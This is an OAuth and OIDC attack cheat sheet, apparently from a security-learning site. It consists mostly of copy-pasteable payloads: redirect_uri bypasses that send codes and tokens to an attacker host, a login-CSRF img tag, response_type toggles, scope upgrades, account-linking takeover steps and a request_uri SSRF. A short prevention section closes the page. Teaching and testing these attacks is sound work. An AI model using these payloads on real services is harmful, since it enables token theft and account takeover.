OAuth Hacking: The Complete Guide to OAuth and OIDC Attacks
OAuth and OIDC Hacking Cheat Sheet
A dense, copy-pasteable OAuth reference: redirect_uri tricks, state CSRF, implicit leaks, response_type toggles, scope upgrade, account linking, and OIDC.
Published
Every OAuth attack payload in one place. The core move never changes: exploit a validation gap between the client and the authorization server to steal the code, the token, or the account. For the how and why behind each section, start at the OAuth guide. Lock it in on a free live target.
redirect_uri tricks (steal the code/token)
# baseline registered value:
redirect_uri=https://app.tld/callback
# ALL of these work ONLY against prefix/substring/naive matching, NOT exact matching:
redirect_uri=https://app.tld/callback/../../attacker append path (defeats startswith)
redirect_uri=https://app.tld.attacker.tld/callback lookalike subdomain (defeats endswith)
redirect_uri=https://[email protected]/callback @ makes attacker.tld the host
redirect_uri=https://attacker.tld/#https://app.tld/callback # fragment trick; RFC 6749 forbids # in redirect_uri, so only non-conforming validators
redirect_uri=https://attacker.tld/?x=https://app.tld/callback ? strands the rest as a query
redirect_uri=https://app.tld/redirect?to=https://attacker.tld open redirect on an allowed host
# encoding bypasses of a naive validator:
redirect_uri=https://app.tld/callback%[email protected] %2f = '/'
redirect_uri=https://app.tld/%2e%2e/attacker %2e = '.'
redirect_uri=https://app.tld/%252e%252e/attacker double-encode vs decode-once
# loopback allowances some servers grant too broadly:
redirect_uri=http://localhost/callback
redirect_uri=http://127.0.0.1/callbackExact-match validation defeats every line above. See redirect_uri manipulation.
Missing / weak state (CSRF and login-CSRF)
# drop it entirely: does the callback still complete?
/callback?code=CODE (no state)
/callback?code=CODE&state= (empty)
/callback?code=CODE&state=static123 (reused / predictable value)
# login-CSRF: deliver YOUR code to the victim so their session links to YOUR account:
<img src="https://app.tld/callback?code=YOUR_CODE">state binds the callback to the session. PKCE binds the code to the client and incidentally blunts login CSRF (the delivered code needs the originating session's verifier), so the attack lands on flows with neither. Enforce both. See the state parameter and CSRF.
Implicit flow (token in the fragment, legacy)
response_type=token -> https://app.tld/callback#access_token=...&token_type=Bearer
# the fragment leaks via: browser history, client-side logs, any location.hash reader (NOT Referer: browsers strip the fragment)
# chain an open redirect on the client to forward the fragment to attacker.tldresponse_type / response_mode toggles
response_type=token force legacy implicit (fragment leak)
response_type=code token hybrid: leaks a token alongside the code
response_type=id_token token OIDC implicit (no code)
response_mode=query move a token into the query string (logs/Referer)
response_mode=fragment back into the fragment
response_mode=form_post POSTs the response; sometimes skips a check the others enforceScope upgrade
# request more than the UI asked for; works ONLY if the AS has prior consent for the scope or skips downscoping (most AS re-prompt):
scope=openid profile email -> scope=openid profile email admin
scope=read -> scope=read writeAccount linking (pre-takeover)
1. attacker registers [email protected] as a LOCAL account first (if signup skips email verification)
2. victim later clicks "Link Google" -> provider asserts [email protected]
3. if the app links on the email claim WITHOUT verifying ownership,
the identities merge onto the account the attacker already controlsStealing codes via a leaky redirect
# if redirect_uri can point at an open redirect on an allowed host:
redirect_uri=https://app.tld/redirect?to=https://attacker.tld
# the authorization code lands on attacker.tld (query or Referer); redeem it fast (single-use)OIDC-specific
# issuer / sub confusion: a token from provider A accepted where B was expected
# request_uri SSRF: the AS fetches an attacker-controlled request object
request_uri=https://attacker.tld/malicious-request-object
# JWKS / alg tricks on the ID token: alg:none, or jku/x5u pointing at attacker keys (see /learn/jwt)
# nonce replay: reuse an old id_token when the client does not check nonce
# discovery recon:
GET /.well-known/openid-configurationPrevention
- Register and enforce exact
redirect_urivalues. No wildcards, no prefix/substring matching, no open redirects on allowed hosts. - Require PKCE for every public client, binding the code to the verifier.
- Generate, store, and strictly verify
state(CSRF) andnonce(OIDC replay) on every flow. - Deprecate implicit and hybrid. Use authorization code only and keep tokens out of the URL.
- Verify email ownership before linking a social account to any existing account.
- On ID tokens, validate signature,
iss,aud,exp, andnonce. Pin JWKS and rejectalg:noneand attacker key URLs.
Full detail in preventing OAuth attacks. The ID-token signature attacks are in JWT.
← Back to OAuth Hacking: The Complete Guide to OAuth and OIDC Attacks